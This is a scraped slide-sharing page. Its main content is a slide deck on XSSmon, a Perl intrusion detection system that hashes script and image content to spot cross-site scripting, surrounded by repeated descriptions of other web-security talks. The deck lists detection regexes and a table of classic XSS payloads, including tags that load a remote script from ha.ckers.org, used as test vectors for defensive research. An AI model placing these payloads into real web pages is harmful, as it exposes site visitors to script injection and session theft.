This document describes an XSSmon IDS that uses regular expressions to detect potential cross-site scripting (XSS) attacks by extracting executable content from web pages and computing SHA-1 hashes. It was tested on web pages with unmodified, modified, and malicious content, detecting changes when executable code was added but not when only HTML was added. The IDS successfully detected most XSS attack vectors but not one using a null character. Overall, the proof of concept suggests robust XSS monitoring could help mitigate risks from vulnerabilities.
New Methods in Automated XSS Detection & Dynamic Exploit CreationKen Belva
This slide deck consists of three presentations showing both an overall and detailed view of the new patent pending methods to make Cross-Site Scripting (XSS) detection more accurate and faster as well as the creation of dynamic exploits. It was presented at OWASP AppSecUSA 2015. All Material and Methods Patent Pending Globally. All Rights Reserved.
Please visit: http://xssWarrior.com
Cross Site Scripting (XSS) Defense with JavaJim Manico
Cross Site Scripting Defense is difficult. The Java Programming language does not provide native key defenses necessary to throughly prevent XSS. As technologies such as Content Security Policy emerge, we still need pragmatic advice to stop XSS in legacy applications as well as new applications using traditional Java frameworks. First generation encoding libraries had both performance and completeness problems that prevent developers from through, production-safe XSS defense. This talk will deeply review the OWASP Java Encoder Project and the OWASP HTML Sanitizer Project and give detailed code samples highlighting their use. Additional advice on next-generation JavaScript and JSON workflows using the OWASP JSON Sanitizer will also be reviewed.
New Methods in Automated XSS Detection & Dynamic Exploit CreationKen Belva
This slide deck consists of three presentations showing both an overall and detailed view of the new patent pending methods to make Cross-Site Scripting (XSS) detection more accurate and faster as well as the creation of dynamic exploits. It was presented at OWASP AppSecUSA 2015. All Material and Methods Patent Pending Globally. All Rights Reserved.
Please visit: http://xssWarrior.com
Cross Site Scripting (XSS) Defense with JavaJim Manico
Cross Site Scripting Defense is difficult. The Java Programming language does not provide native key defenses necessary to throughly prevent XSS. As technologies such as Content Security Policy emerge, we still need pragmatic advice to stop XSS in legacy applications as well as new applications using traditional Java frameworks. First generation encoding libraries had both performance and completeness problems that prevent developers from through, production-safe XSS defense. This talk will deeply review the OWASP Java Encoder Project and the OWASP HTML Sanitizer Project and give detailed code samples highlighting their use. Additional advice on next-generation JavaScript and JSON workflows using the OWASP JSON Sanitizer will also be reviewed.
Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.
We cannot “firewall” or “patch” our way to secure websites. In the past, security professionals thought firewalls, Secure Sockets Layer (SSL), patching, and privacy policies were enough. Today, however, these methods are outdated and ineffective, as attacks on prominent, well-protected websites are occurring every day. Most every organization in the world have something in common – they have had websites compromised in some way. No company or industry is immune. Programmers need to learn to build websites differently. This talk will review the top coding techniques developers need to master in order to build a low-risk, high-security web application.
When Ajax Attacks! Web application security fundamentalsSimon Willison
Web application security is hard, and getting harder. New technologies and techniques mean new vulnerabilities, and keeping on top of them all is a significant challenge. This talk will dive deep in to the underbelly of JavaScript security, exploring topics ranging from basic cross-site scripting to CSRF, social network worms, HTML sanitisation, securing JSON, safe cross-domain JavaScript and more besides.
Presented at @media Ajax 2008 on the 16th of September.
Learn how to exploit security vulnerabilities that are commonly found in the arsenal of malicious attackers. We won't simply talk about issues like XSS, CSRF and SQL Injection, but will have live demos showing how hackers exploit these potentially devastating defects using freely available tools. You'll see how to hack a real world open source application and explore bugs in commonly used open source frameworks. We also look at the source code and see how to fix these issues using secure coding principles. We will also discuss best practices that can be used to build security into your SDLC. Java developers and architects will learn how to find and fix security issues in their applications before hackers do.
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015CODE BLUE
Microsoft's web browsers, Internet Explorer and Edge, have a feature called 'XSS filter' built in which protects users from XSS attacks. In order to deny XSS attacks, XSS filter looks into the request for a string resembling an XSS attack, compares it with the page and finds the appearance of it, and rewrites parts of the string if it appears in the page. This rewriting process of the string - is this done safely? The answer is no. This time, I have found a way to exploit XSS filter not to protect a web page, but to create an XSS vulnerability on a web page that is completely sane and free of XSS vulnerability. In this talk, I will describe technical details about possibilities of XSS attacks exploiting XSS filter and propose what website administrators should do to face this XSS filter nightmare.
MySQL security is not trivial. This presentation will walk you trough some of the more important decisions you have to take, when configuring a MySQL server instance
Honing headers for highly hardened highspeed hypertextFastly
The web is growing up and getting faster and more secure. Making that the default is hard to achieve when you have to be backwards compatible, and some of the stuff we built 10 years ago is now a serious security liability. The answer: headers. Lots of headers.
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
The OWASP Top 10 provides a list of the 10 most critical web application security risks. How do these relate to AngularJS applications? What security vulnerabilities should developers be aware of beyond XSS and CSRF?
This session will review the OWASP Top 10 with a front-end development focus on HTML and JavaScript. It will look at patterns to implement and others to consider avoiding. We will also explore several built-in features of AngularJS that help secure your application.
Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.
We cannot “firewall” or “patch” our way to secure websites. In the past, security professionals thought firewalls, Secure Sockets Layer (SSL), patching, and privacy policies were enough. Today, however, these methods are outdated and ineffective, as attacks on prominent, well-protected websites are occurring every day. Most every organization in the world have something in common – they have had websites compromised in some way. No company or industry is immune. Programmers need to learn to build websites differently. This talk will review the top coding techniques developers need to master in order to build a low-risk, high-security web application.
When Ajax Attacks! Web application security fundamentalsSimon Willison
Web application security is hard, and getting harder. New technologies and techniques mean new vulnerabilities, and keeping on top of them all is a significant challenge. This talk will dive deep in to the underbelly of JavaScript security, exploring topics ranging from basic cross-site scripting to CSRF, social network worms, HTML sanitisation, securing JSON, safe cross-domain JavaScript and more besides.
Presented at @media Ajax 2008 on the 16th of September.
Learn how to exploit security vulnerabilities that are commonly found in the arsenal of malicious attackers. We won't simply talk about issues like XSS, CSRF and SQL Injection, but will have live demos showing how hackers exploit these potentially devastating defects using freely available tools. You'll see how to hack a real world open source application and explore bugs in commonly used open source frameworks. We also look at the source code and see how to fix these issues using secure coding principles. We will also discuss best practices that can be used to build security into your SDLC. Java developers and architects will learn how to find and fix security issues in their applications before hackers do.
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015CODE BLUE
Microsoft's web browsers, Internet Explorer and Edge, have a feature called 'XSS filter' built in which protects users from XSS attacks. In order to deny XSS attacks, XSS filter looks into the request for a string resembling an XSS attack, compares it with the page and finds the appearance of it, and rewrites parts of the string if it appears in the page. This rewriting process of the string - is this done safely? The answer is no. This time, I have found a way to exploit XSS filter not to protect a web page, but to create an XSS vulnerability on a web page that is completely sane and free of XSS vulnerability. In this talk, I will describe technical details about possibilities of XSS attacks exploiting XSS filter and propose what website administrators should do to face this XSS filter nightmare.
MySQL security is not trivial. This presentation will walk you trough some of the more important decisions you have to take, when configuring a MySQL server instance
Honing headers for highly hardened highspeed hypertextFastly
The web is growing up and getting faster and more secure. Making that the default is hard to achieve when you have to be backwards compatible, and some of the stuff we built 10 years ago is now a serious security liability. The answer: headers. Lots of headers.
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
The OWASP Top 10 provides a list of the 10 most critical web application security risks. How do these relate to AngularJS applications? What security vulnerabilities should developers be aware of beyond XSS and CSRF?
This session will review the OWASP Top 10 with a front-end development focus on HTML and JavaScript. It will look at patterns to implement and others to consider avoiding. We will also explore several built-in features of AngularJS that help secure your application.
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...Codemotion
The way that banner is rendered is really bland. That animation performance is lackluster to say the least. Maybe you're still unsatisfied with grid. CSS has always suffered from a slow-paced evolution but it's probably coming to an end. Houdini is a project that aims to expose the internals of CSS engines to developers, in order to create new and performant ways to extend CSS. We'll see the current state-of-the-art and some neat examples, to conclude with a glance to what the future holds for us.
Derek Willian Stavis (Pagar.me)
Todo mundo diz que Webpack é só um module bundler. Mas o que é um módulo? O que é um bundler? Porque precisamos disso? Vamos caminhar pela história do desenvolvimento web para entender estes conceitos, e no final vamos dissecar a configuração e o output do Webpack para entendermos como ele funciona e como ele pode facilitar o seu processo de desenvolvimento.
Vale do Carbono Conference
Webpack is just a module bundler, they said. What they didn't say is why we need it, and what was the motivation that made us achieve what Webpack have been doing for us. In this talk we will navigate through the years of front-end development, ranging from 2003 to nowadays to understand this, and in the end, we will walk thought a complete Webpack project to understand how it works.
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
Contents :
- Introduction
- Description as A Widely Used Hacking Technique
- How it is used in Hacking
- What can be done with XSS
#XSS, #Hacking, #Security, #CookieStealing, #InternetBug, #HTMLInjection
Sincerely,
Irfad Imtiaz
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
1. XSSmon: A Perl
Based IDS for the
Detection of
Potential XSS
Attacks
Christopher M. Frenz
2. Cross Site Scripting
Cross Site Scripting (XSS) entails the
injection of a malicious script into a Web
site so that when a future user accesses
the Web site, the script is executed by the
browser of the client machine
In OWASP’s 2010 survey of the 10 greatest
application security risks, injection attacks
were ranked #1 and XSS attacks were
ranked as #2
3. Common XSS Defenses
Escaping
Converting < to < to render content contained
in <script></script> tags non-executable
Validation
Whitelisting
(s?(?d{3})?[-s.]?d{3}[-.]d{4})
Blacklisting
((%3C)|<).*?((%3E)|>)
4. Project Goal
Thisstudy does not seek to build on the
existing methods of XSS prevention and
mitigation, but rather seeks to take
advantage of the ability of regular
expressions to detect XSS elements as a
means of developing a XSS intrusion
detection system, in order to allow the
detection of any breached XSS defenses.
5. Hashes
One way
cryptographic
function in which
each input should
yield a unique
output
7. Tripwire
Tripwire works by having the application user
select critical system files and computing a hash of
those system files to establish a baseline
At some future point in time, the hashes of those
selected files can be recomputed
If the file was not modified in any way the hash
value that pertains to the file will remain
unchanged
If a recomputed hash value is found to differ from
the baseline value, it is indicative that the file has
in some way been modified, which could be
indicative of a potential attack on the system
8. XSSmon IDS
This XSS IDS is a variation of the theme laid forth in
tripwire in that it seeks to use regular expressions to
identify all of the possible client side executable
content in a Web page
Script Regex
((<|%3C)(s|%73|%53)(c|%63|%43)(r|%72%5
2)(i|%69|%49)(p|%70|%50)(t|%74%54).*?(<|
%3C)(/|%2F)(s|%73|%53)(c|%63|%43)(r|%72
%52)(i|%69|%49)(p|%70|%50)(t|%74%54)(>|
%3E))
Img Regex
((<|%3C)(i|%69|%49)(m|%6D|%4D)(g|%67|
%47).*?(>|%3E))
9. XSSmon Methods
It is the intention of this application to only recognize
potentially executable content, so that “harmless”
content, such as plain non-executable text enclosed
in <p> tags and the like, do not trigger the system
every time they are added to a page
The IDS can be presented with a list of Web page
links to monitor, and will use the regular expressions to
globally match all of the content encapsulated in a
<script> or <img> tags
All of this content is then concatenated together into
a string that contains all the content recognized as
potentially executable and the string passed through
a SHA1 hash.
10. HTML Page with Executable
Content Potentially
executable
content is
extracted and
used as input
to SHA-1 hash
At a later
point in time
the content
will be re-
extracted and
put through
the hash
function again
11. Test #1
To test the efficacy of the IDS system, three
identical Web pages (XSSTest, XSSTest2, XSSTest3)
are initially created that contain a mixture of
standard HTML tags and a simple JavaScript that
displays the current date in the browser window
These html pages are then uploaded to Apache
Web server and the corresponding links input into
the XSS IDS program
The XSS IDS baseline module is then used to
compute the SHA1 hash values of the executable
content in the Web page present at each link
12. Test1: Initial Hash Values
The three
identical
Web pages
yield
identical
hash values
13. Test 1 Continued
The 3 HTML files will be modified as follows:
the XSSTest.html file will have additional
executable content added to it
the XSSTest2.html file will have additional html
content added to it, but no additional client side
executable content added
XSSTest3.html will remain unmodified as a control
After the files are modified (as above) the module
of the XSS IDS application that recomputes the
hashes and performs comparisons to the values
stored in the database will be executed
15. Test 1 Conclusions
The Web page with additional executable
content was detected
Those without additional executable content
did not trigger the IDS
This would make the IDS useful for any type of
Web forum or Web site that allows the posting
of comments or other user content, since the
IDS would not trigger false alarms for every
addition to a Web page; only additions that
match the potentially executable content
patterns laid forth in the applications regular
expressions
16. Test 2
The IDS was then further tested by
determining how well it picks up a large
variety of XSS attack vectors
Each of these attack vectors was inserted
into an html Web page whose baseline
value had been previously computed
After the insertion, the hashes were
recomputed and compared to the
baseline values
17. Det
XSS Attack Vector ecte
d
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Yes
<IMG SRC="javascript:alert('XSS');"> Yes
<img SRC=javascript:alert('jXSS')> Yes
<IMG SRC=JaVaScRiPt:alert('XSS')> Yes
<IMG SRC=javascript:alert("XSS")> Yes
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> Yes
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Yes
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Yes
<IMG
SRC=javascript:alert('X Yes
SS')>
<IMG
SRC=javascript:
Yes
alert('XSS'�
00041>
<IMG
SRC=javascript:alert('X Yes
3S')>
<IMG SRC="jav ascript:alert('XSS');"> Yes
<IMG SRC="jav	ascript:alert('XSS');"> Yes
<IMG SRC="jav
ascript:alert('XSS');"> Yes
<IMG SRC="jav
ascript:alert('XSS');"> Yes
<IMG SRC="javascript:alert('XSS');"> - Each character on a new line Yes
perl -e 'print "<IMG SRC=java0script:alert("XSS")>";' > out Yes
perl -e 'print "<SCR0IPT>alert("XSS")</SCR0IPT>";' > out No
<IMG SRC="  javascript:alert('XSS');"> Yes
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yes
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yes
<<SCRIPT>alert("XSS");//<</SCRIPT> Yes
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<SCRIPT SRC=//ha.ckers.org/.j> Yes
<IMG SRC="javascript:alert('XSS')" Yes
<SCRIPT>a=/XSS/
Yes
alert(a.source)</SCRIPT>
</TITLE><SCRIPT>alert("XSS");</SCRIPT> Yes
18. Test 2 Conclusions
Inall but one case the hash values for the
html pages changed, demonstrating the
efficacy of the IDS against detecting XSS
attacks
The one XSS attack vector that went
undetected contained a null character
(0) in the script tag which made the tag
unrecognizable to the IDS
19. Overall Conclusion
While the XSS IDS presented in this manuscript is still at a
stage where much more rigorous testing needs to be
applied to it to see how well it detects XSS attacks
against the breadth of all possible XSS attacks on a
diversity of different Web pages, the proof of concept
presented here is strongly suggestive that the creation
of a XSS IDS is entirely feasible. Moreover, a robust XSS
IDS would an excellent tool for Web application security,
because no matter how securely written a piece of
software bugs will still exist in it. An IDS such as this can
help to mitigate the potential damage that could be
unleashed by a bit of malicious XSS code slipping the a
Web application’s input validation and escaping
defenses by providing an early warning that such a
condition exists.